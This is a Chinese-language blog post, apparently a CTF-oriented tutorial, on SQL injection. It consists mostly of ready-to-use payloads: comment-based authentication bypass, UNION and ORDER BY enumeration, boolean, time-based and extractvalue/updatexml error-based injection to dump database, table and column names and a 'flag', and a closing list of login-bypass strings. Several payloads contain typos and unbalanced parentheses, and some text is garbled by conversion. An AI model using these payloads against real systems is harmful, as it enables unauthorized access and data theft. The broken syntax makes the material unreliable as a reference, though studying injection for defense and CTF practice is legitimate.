SQL隱碼攻擊基礎原理

荻蘆夜雪糕發表於2020-12-10

0、 select

select * :是查詢表中所有欄位內容
select 欄位 :是查詢表中指定欄位內容
sm代表MySQL 和 SQL Server

1、SQL註釋

1.行間註釋

註釋掉查詢語句的其餘部分
行間註釋通常用於註釋掉查詢語句的其餘部分,這樣你就不需要去修復整句語法了。

DROP sampletable;–(sm)

DROP sampletable;#(m)

使用了行間註釋的SQL隱碼攻擊樣例
使用者名稱:admin’–
構成語句:SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’ 這會使你以admin身份登陸,因為其餘部分的SQL語句被註釋掉了。

2.行內註釋

通過不關閉註釋註釋掉查詢語句的其餘部分,或者用於繞過過濾,移除空格,混淆,或探測資料庫版本。

/註釋內容/

DROP/comment/sampletable
DR/** /OP/* 繞過過濾*/ sampletable
SELECT/* 替換空格*/ password/* /FROM/**/Members
/
! MYSQL專屬 /
這是個MySQL專屬語法。非常適合用於探測MySQL版本。如果你在註釋中寫入程式碼,只有MySQL才會執行。同樣的你也可以用這招,使得只有高於某版本的伺服器才執行某些程式碼。 SELECT /
!32302 1/0, / 1 FROM tablename
MySQL版本探測攻擊樣例
SELECT /
!32302 1/0, / 1 FROM tablename
如果MySQL的版本高於3.23.02,會丟擲一個division by 0 error
ID:/
!32302 10*/
ID:10
如果MySQL版本高於3.23.02,以上兩次查詢你將得到相同的結果
堆疊查詢(Stacking Queries)
在SQL中,分號(;)是用來表示一條sql語句的結束。
而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
注意:有些語言不支援堆疊注入

2.If語句

根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵之一
MySQL的If語句
IF(condition,true-part,false-part)(M)

SELECT IF (1=1,‘true’,‘false’)

SQL Server的If語句
IF condition true-part ELSE false-part(S)

IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

使用了If語句的注入攻擊樣例
if ((select user) = ‘admin’ or (select user) = ‘root’) select 1 else select 1/0(S)

如果當前使用者不是"admin"或者"root",就會丟擲一個divide by zero error。

3.Union注入

通過union你能跨表執行查詢。最簡單的,你能注入一個查詢使得它返回另一個表的內容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

這會把news表和members表的內容合併返回。

經常給UNION配上ALL使用,因為經常會有相同數值的欄位,而預設情況下UNION都會嘗試返回唯一值(records with distinct)
如果你每次查詢只能有一條記錄,而你不想讓原本正常查詢的記錄佔用這寶貴的記錄位,你可以使用-1或者根本不存在的值來搞定原查詢(前提是注入點在WHERE裡)。
在UNION中使用NULL,對於大部分資料型別來說這樣都比瞎猜字串、日期、數字之類的來得強
盲注的時候要小心判斷錯誤是來自應用的還是來自資料庫的。因為像ASP.NET就經常會在你使用NULL的時候丟擲錯誤(因為開發者們一般都沒想到使用者名稱的框中會出現NULL)

4.探測欄位數

在SELECT查詢中使用ORDER BY探測欄位數(MSO+)
通過ORDER BY來探測欄位數能夠加快union注入的速度。

ORDER BY 1–
ORDER BY 2–
……
ORDER BY N–
一直到它報錯為止,最後一個成功的數字就是欄位數。

5.延時盲注

首先,只在完全沒有提示(really blind)的情況下使用,否則請使用1/0方式通過錯誤來判斷差異。其次,在使用20秒以上的延時時要小心,因為應用與資料庫的連線API可能會判定為超時(timeout)。
1.WAITFOR DELAY time
這就跟sleep差不多,等待特定的時間。通過CPU來讓資料庫進行等待。

WAITFOR DELAY ‘0:0:10’–
2.BENCHMARK()(M)
一般來說都不太喜歡用這個來做MySQL延時。小心點用因為這會極快地消耗伺服器資源。
BENCHMARK(howmanytimes, do this)
3.pg_sleep(seconds)§
睡眠指定秒數。

SELECT pg_sleep(10);睡個十秒

5.SQL函式

5.1substr()函式

1、作用:用來擷取資料庫某個欄位中的一部分。
2、語法:substr(string,start,length)
string引數:必選。資料庫中需要擷取的欄位。
start引數:必選。正數,從字串指定位子開始截;
負數,從字串結尾指定位子開始擷取;
0,在字串中第一個位子開始擷取。1,同理。(特殊)
length引數:可選。需要擷取的長度。

5.2 group_concat([DISTINCT] 要連線的欄位 [Order BY ASC/DESC 排序欄位] [Separator ‘分隔符’])

連線字元

5.3 extractvalue函式

正常語法:extractvalue(xml_document,Xpath_string);
第一個引數:xml_document是string格式,為xml文件物件的名稱
第二個引數:Xpath_string是xpath格式的字串
第二個引數是要求符合xpath語法的字串,如果不滿足要求,則會報錯,並且將查詢結果放在報錯資訊裡,因此可以利用。
資料庫名:id=1’and(select extractvalue(1,concat(0x7e,(select database()))))
表名:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
欄位名:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
資料:id=1’and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

5.4 updatexml函式

函式原型:updatexml(xml_document,xpath_string,new_value)
正常語法:updatexml(xml_document,xpath_string,new_value)
第一個引數:xml_document是string格式,為xml文件物件的名稱 第二個引數:xpath_string是xpath格式的字串
第三個引數:new_value是string格式,替換查詢到的負荷條件的資料 作用:改變文件中符合條件的節點的值
資料庫名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
資料:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

6.注入語句

6.1 資料表

select database();
select schema_name from information_schema.schemata;
盲注猜字母長度和ASCII值
1 and (length(database()))=4
1 and ascii(substr((select database(),1,1)=115
時間盲注
1 and if(length(database())=4,sleep(3),1)
報錯
1 union select updataxml(1,concat(0x7e,database(),0x7e),1);#

6.2 表名

union 查詢

union select 1,group_concat(table_name) from information_schema.tables where table_schema where version=10;
union select /* 列出所有使用者自定義資料庫中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!=‘information_schema’ AND table_schema!=‘mysql’;
盲注
布林盲注
1 and (select count(table_name)from information_schema.tables where table_schema=database())=2
1 and ascii(substr(select table_name from information_schema.tables where table_schema=database())limit 0,1),1,1)>100
猜字母
報錯
1 union select updataxml(1,concat(0x7e,select(group_concat(table_name))from information_schema.tables where table_schema),0x7e),1);#

6.3 列名

union 查詢
union selelct group_concat(table_name)from information_schema.tables where table_name=“sqli”
盲注
布林注入
1 and (select count (column_name)from information_schema.columns where table_name=database())
1 and ascii(substr((select column_name from information_schema.columns where tabel_name=“flag” and table_schema=“sqli” ),1,1))>100
報錯

6.4 flag!!

union 查詢
union select group_concat(flag) from sqli.flag
盲注
布林注入
1 and ascii(substr((select *from sqli.flag where id=1),1,1))>100
時間注入

7.顯錯注入

MYSQL隱碼攻擊:
判斷當前頁面欄位總數
and 1=1 order by 1,2,3,4,5…

判斷顯示位:
and 1=2 union select 1,2,3,4,5…(這裡union select 前面的語句為假時才會執行後面的語句)

檢視當前資料庫:
and 1=2 union select 1,2 schema_name from information_schema.schema
and 1=2 unoin select 1,2,database()

查詢表名:
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

查詢列名:
and 1=2 union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name=表名的16進位制 limit 0,1

查詢欄位內容:
and 1=2 union select 1,2,列名,4 from 表名 limit 0,1…

萬能密碼

admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–

相關文章